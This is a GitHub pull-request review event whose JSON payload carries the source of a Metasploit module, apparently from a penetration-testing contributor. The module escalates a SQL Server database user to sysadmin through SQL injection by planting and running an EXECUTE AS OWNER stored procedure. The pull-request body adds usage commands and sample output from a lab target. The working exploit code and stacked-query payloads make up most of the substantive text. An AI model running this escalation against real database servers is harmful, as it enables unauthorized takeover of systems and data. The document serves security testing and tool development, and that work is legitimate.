GitHub PullRequestReviewCommentEvent at 2014-10-17 19:47:29
Repository: metasploit-framework
Actor: nullbind
Payload: {"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/19039180","id":19039180,"diff_hunk":"@@ -0,0 +1,203 @@\n+##\n+# This module requires Metasploit: http//metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'msf/core/exploit/mssql_commands'\n+\n+class Metasploit3 < Msf::Auxiliary\n+\n+  include Msf::Exploit::Remote::MSSQL_SQLI\n+  include Msf::Auxiliary::Report\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'Microsoft SQL Server - Escalate Db_Owner - SQLi',\n+      'Description'    => %q{\n+        This module can be used to escalate privileges to sysadmin if the user has\n+        the db_owner role in a trustworthy database owned by a sysadmin user.  Once\n+        the user has the sysadmin role the mssql_payload_sqli module can be used to obtain\n+        a shell on the system.\n+\n+        Syntax for injection URLs:\n+\n+        Error: /account.asp?id=1+and+1=[SQLi];--\n+      },\n+      'Author'         =>\n+        [\n+          'nullbind <scott.sutherland[at]netspi.com>'\n+        ],\n+      'Author'         => [ 'nullbind <scott.sutherland[at]netspi.com>'],\n+      'License'        => MSF_LICENSE,\n+      'References'     => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]\n+    ))\n+  end\n+\n+  def run\n+\n+    # Get the database user name\n+    print_status(\"Grabbing the database user name from #{rhost}:#{rport}...\")\n+    db_user = get_username\n+    print_good(\"Database user: #{db_user}\")\n+\n+    # Grab sysadmin status\n+    print_status(\"Checking if #{db_user} is already a sysadmin...\")\n+    sysadmin_status = check_sysadmin\n+    if sysadmin_status == 1\n+      print_good(\"#{db_user} is already a sysadmin, no esclation needed.\")\n+      return\n+    else\n+      print_good(\"#{db_user} is NOT a sysadmin, let's try to escalate privileges.\")\n+    end\n+\n+    # Check for trusted databases owned by sysadmins\n+    print_status(\"Checking for trusted databases owned by sysadmins...\")\n+    trust_db_list = check_trust_dbs\n+    if trust_db_list.nil? || trust_db_list.length == 0\n+      print_error('No databases owned by sysadmin were found flagged as trustworthy.')\n+      return\n+    else\n+      # Display list of accessible databases to user\n+      print_good(\"#{trust_db_list.length} affected database(s) were found:\")\n+\n+      if trust_db_list.length == 1\n+        trust_db_one = trust_db_list.flatten.first\n+        print_status(\" - #{trust_db_one}\")\n+      else\n+        trust_db_list.each do |db|\n+          print_status(\" - #{db[0]}\")\n+        end\n+      end\n+    end\n+\n+    # Check if the user has the db_owner role in any of the databases\n+    print_status(\"Checking if #{db_user} has the db_owner role in any of them...\")\n+    dbowner_status = check_db_owner(trust_db_list)\n+    if dbowner_status.nil?\n+      print_error(\"Fail buckets, the user doesn't have db_owner role anywhere.\")\n+      return\n+    else\n+      print_good(\"#{db_user} has the db_owner role on #{dbowner_status}.\")\n+    end\n+\n+    # Attempt to escalate to sysadmin\n+    print_status(\"Attempting to add #{db_user} to sysadmin role...\")\n+    escalate_status = escalate_privs(dbowner_status,db_user)\n+    if escalate_status == 1\n+      print_good(\"Success! #{db_user} is now a sysadmin!\")\n+    else\n+      print_error(\"Fail buckets, something went wrong.\")\n+    end\n+  end\n+\n+  #\n+  # Functions\n+  #\n+\n+  def get_username\n+    # Setup query to check for database username\n+    sql = \"(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')\"\n+\n+    # Run query\n+    result = mssql_query(sql)\n+\n+    # Parse result\n+    parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first\n+\n+    # Return user name\n+    return parsed_result\n+  end\n+\n+  def check_sysadmin\n+    # Setup query to check for sysadmin\n+    sql = \"(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')\"\n+\n+    # Run query\n+    result = mssql_query(sql)\n+\n+    # Parse result\n+    parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first\n+\n+    # Return sysadmin status\n+    return parsed_result.to_i\n+  end\n+\n+  def check_trust_dbs\n+    # Setup query to check for trusted databases owned by sysadmins\n+    sql = \"(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName\n+      FROM sys.server_principals r\n+      INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id\n+      INNER JOIN sys.server_principals p ON\n+      p.principal_id = m.member_principal_id\n+      inner join sys.databases d on suser_sname(d.owner_sid) = p.name\n+      WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))\"\n+\n+    # Run query\n+    result = mssql_query(sql)\n+\n+    #Parse results\n+    parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)\n+\n+    # Return sysadmin status\n+    return parsed_result\n+  end\n+\n+  def check_db_owner(trust_db_list)\n+    # Check if the user has the db_owner role is any databases\n+    trust_db_list.each do |db|\n+      # Setup query\n+      sql = \"(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName\n+        from [#{db[0]}].sys.database_role_members drm\n+        join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)\n+        join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)\n+        where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))\"\n+\n+      # Run query\n+      result = mssql_query(sql)\n+\n+      # Parse result\n+      parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first\n+\n+      # Return sysadmin status\n+      return parsed_result\n+    end\n+    nil\n+  end\n+\n+  # Attempt to escalate privileges\n+  def escalate_privs(dbowner_db,db_user)\n+    # Create the evil stored procedure WITH EXECUTE AS OWNER\n+    evil_sql_create = \"1;use #{dbowner_db};\n+      DECLARE @myevil as varchar(max)\n+      set @myevil = '\n+      CREATE PROCEDURE sp_elevate_me\n+      WITH EXECUTE AS OWNER\n+      as\n+      begin\n+      EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''\n+      end';\n+      exec(@myevil);--\"\n+    mssql_query(evil_sql_create)\n+\n+    # Run the evil stored procedure\n+    evilsql_run = \"1;use #{dbowner_db};\n+      DECLARE @myevil2 as varchar(max)\n+      set @myevil2 = 'EXEC sp_elevate_me'\n+      exec(@myevil2);--\"\n+    mssql_query(evilsql_run)\n+\n+    # Remove evil procedure\n+    evilsql_remove = \"1;use #{dbowner_db};\n+      DECLARE @myevil3 as varchar(max)\n+      set @myevil3 = 'DROP PROCEDURE sp_elevate_me'\n+      exec(@myevil3);--\"\n+    mssql_query(evilsql_remove)\n+\n+    # Check sysadmin status\n+    sysadmin_status = check_sysadmin\n+\n+    # return parsed_result\n+    return sysadmin_status.to_i","path":"modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb","position":201,"original_position":201,"commit_id":"bf92769ba2a405c50d93f6d269f486ac056e441c","original_commit_id":"bf92769ba2a405c50d93f6d269f486ac056e441c","user":{"login":"nullbind","id":1179731,"avatar_url":"https://avatars.githubusercontent.com/u/1179731?v=2","gravatar_id":"","url":"https://api.github.com/users/nullbind","html_url":"https://github.com/nullbind","followers_url":"https://api.github.com/users/nullbind/followers","following_url":"https://api.github.com/users/nullbind/following{/other_user}","gists_url":"https://api.github.com/users/nullbind/gists{/gist_id}","starred_url":"https://api.github.com/users/nullbind/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nullbind/subscriptions","organizations_url":"https://api.github.com/users/nullbind/orgs","repos_url":"https://api.github.com/users/nullbind/repos","events_url":"https://api.github.com/users/nullbind/events{/privacy}","received_events_url":"https://api.github.com/users/nullbind/received_events","type":"User","site_admin":false},"body":"In this case the injected SQL Server query \"select is_srvrolemember('sysadmin')\" actually returns a 0 or 1 to indicate sysadmin status.  So I'm just passing that value through instead of translating it to true/false.  \r\n\r\nI'm not sure if it would make sense to change it, but let me know if I'm missing something.  ","created_at":"2014-10-17T19:47:29Z","updated_at":"2014-10-17T19:47:29Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/4040#discussion_r19039180","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/19039180"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4040#discussion_r19039180"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040","id":22932402,"html_url":"https://github.com/rapid7/metasploit-framework/pull/4040","diff_url":"https://github.com/rapid7/metasploit-framework/pull/4040.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/4040.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4040","number":4040,"state":"open","locked":false,"title":"Added module mssql_escalate_dbowner_sqli","user":{"login":"nullbind","id":1179731,"avatar_url":"https://avatars.githubusercontent.com/u/1179731?v=2","gravatar_id":"","url":"https://api.github.com/users/nullbind","html_url":"https://github.com/nullbind","followers_url":"https://api.github.com/users/nullbind/followers","following_url":"https://api.github.com/users/nullbind/following{/other_user}","gists_url":"https://api.github.com/users/nullbind/gists{/gist_id}","starred_url":"https://api.github.com/users/nullbind/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nullbind/subscriptions","organizations_url":"https://api.github.com/users/nullbind/orgs","repos_url":"https://api.github.com/users/nullbind/repos","events_url":"https://api.github.com/users/nullbind/events{/privacy}","received_events_url":"https://api.github.com/users/nullbind/received_events","type":"User","site_admin":false},"body":"Added mssql_escalate_dbowner_sqli module.  This module can be used to escalate privileges to sysadmin via SQL injection if the user has the db_owner role in a trustworthy database owned by a sysadmin user. Once the user has the sysadmin role the mssql_payload_sqli module can be used to obtain a shell on the system. \r\n\r\nLab Setup and Test Guide\r\nhttps://github.com/nullbind/Metasploit-Modules/blob/master/mssql_escalate_dbowner_sqli_lab_guide.txt\r\n\r\nExample Output:\r\n<pre>\r\nuse auxiliary/admin/mssql/mssql_escalate_dbowner_sqli\r\nset GET_PATH  /testing.asp?id=1+and+1=[SQLi];--\r\nset rhost 10.2.9.101\r\n\r\nmsf auxiliary(mssql_escalate_dbowner_sqli) > run\r\n\r\n[*] Grabbing the database user name from 10.2.9.101:80...\r\n[+] Database user: MyAppUser\r\n[*] Checking if MyAppUser is already a sysadmin...\r\n[+] MyAppUser is NOT a sysadmin, let's try to escalate privileges.\r\n[*] Checking for trusted databases owned by sysadmins...\r\n[+] 1 affected database(s) were found:\r\n[*]  - LVADB\r\n[*] Checking if MyAppUser has the db_owner role in any of them...\r\n[+] MyAppUser has the db_owner role on LVADB.\r\n[*] Attempting to add MyAppUser to sysadmin role...\r\n[+] Success! MyAppUser is now a sysadmin!\r\n[*] Auxiliary module execution completed\r\n\r\nmsf auxiliary(mssql_escalate_dbowner_sqli) > run\r\n\r\n[*] Grabbing the database user name from 10.2.9.101:80...\r\n[+] Database user: MyAppUser\r\n[*] Checking if MyAppUser is already a sysadmin...\r\n[+] MyAppUser is already a sysadmin, no esclation needed.\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(mssql_escalate_dbowner_sqli) > \r\n</pre>","created_at":"2014-10-17T15:29:21Z","updated_at":"2014-10-17T19:47:29Z","closed_at":null,"merged_at":null,"merge_commit_sha":"3b6a4a130ace2784064e93c049e5641720824351","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4040/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/bf92769ba2a405c50d93f6d269f486ac056e441c","head":{"label":"nullbind:mssql_escalate_dbowner_sqli","ref":"mssql_escalate_dbowner_sqli","sha":"bf92769ba2a405c50d93f6d269f486ac056e441c","user":{"login":"nullbind","id":1179731,"avatar_url":"https://avatars.githubusercontent.com/u/1179731?v=2","gravatar_id":"","url":"https://api.github.com/users/nullbind","html_url":"https://github.com/nullbind","followers_url":"https://api.github.com/users/nullbind/followers","following_url":"https://api.github.com/users/nullbind/following{/other_user}","gists_url":"https://api.github.com/users/nullbind/gists{/gist_id}","starred_url":"https://api.github.com/users/nullbind/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nullbind/subscriptions","organizations_url":"https://api.github.com/users/nullbind/orgs","repos_url":"https://api.github.com/users/nullbind/repos","events_url":"https://api.github.com/users/nullbind/events{/privacy}","received_events_url":"https://api.github.com/users/nullbind/received_events","type":"User","site_admin":false},"repo":{"id":25309680,"name":"metasploit-framework","full_name":"nullbind/metasploit-framework","owner":{"login":"nullbind","id":1179731,"avatar_url":"https://avatars.githubusercontent.com/u/1179731?v=2","gravatar_id":"","url":"https://api.github.com/users/nullbind","html_url":"https://github.com/nullbind","followers_url":"https://api.github.com/users/nullbind/followers","following_url":"https://api.github.com/users/nullbind/following{/other_user}","gists_url":"https://api.github.com/users/nullbind/gists{/gist_id}","starred_url":"https://api.github.com/users/nullbind/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nullbind/subscriptions","organizations_url":"https://api.github.com/users/nullbind/orgs","repos_url":"https://api.github.com/users/nullbind/repos","events_url":"https://api.github.com/users/nullbind/events{/privacy}","received_events_url":"https://api.github.com/users/nullbind/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/nullbind/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/nullbind/metasploit-framework","forks_url":"https://api.github.com/repos/nullbind/metasploit-framework/forks","keys_url":"https://api.github.com/repos/nullbind/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nullbind/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nullbind/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/nullbind/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/nullbind/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/nullbind/metasploit-framework/events","assignees_url":"https://api.github.com/repos/nullbind/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/nullbind/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/nullbind/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/nullbind/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nullbind/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nullbind/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/nullbind/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nullbind/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/nullbind/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/nullbind/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/nullbind/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/nullbind/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/nullbind/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/nullbind/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/nullbind/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/nullbind/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/nullbind/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/nullbind/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/nullbind/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nullbind/metasploit-framework/merges","archive_url":"https://api.github.com/repos/nullbind/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nullbind/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/nullbind/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/nullbind/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/nullbind/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/nullbind/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nullbind/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/nullbind/metasploit-framework/releases{/id}","created_at":"2014-10-16T15:54:06Z","updated_at":"2014-10-16T14:24:52Z","pushed_at":"2014-10-17T15:25:51Z","git_url":"git://github.com/nullbind/metasploit-framework.git","ssh_url":"git@github.com:nullbind/metasploit-framework.git","clone_url":"https://github.com/nullbind/metasploit-framework.git","svn_url":"https://github.com/nullbind/metasploit-framework","homepage":"http://www.metasploit.com/","size":249421,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"e242bf914fab3f2afe167bfa42f93a5b2eb9413b","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=2","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=2","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2014-10-17T18:18:47Z","pushed_at":"2014-10-17T19:29:21Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":986672,"stargazers_count":2756,"watchers_count":2756,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":2411,"mirror_url":null,"open_issues_count":182,"forks":2411,"open_issues":182,"watchers":2756,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/4040"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4040"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/4040/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/4040/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/bf92769ba2a405c50d93f6d269f486ac056e441c"}}}}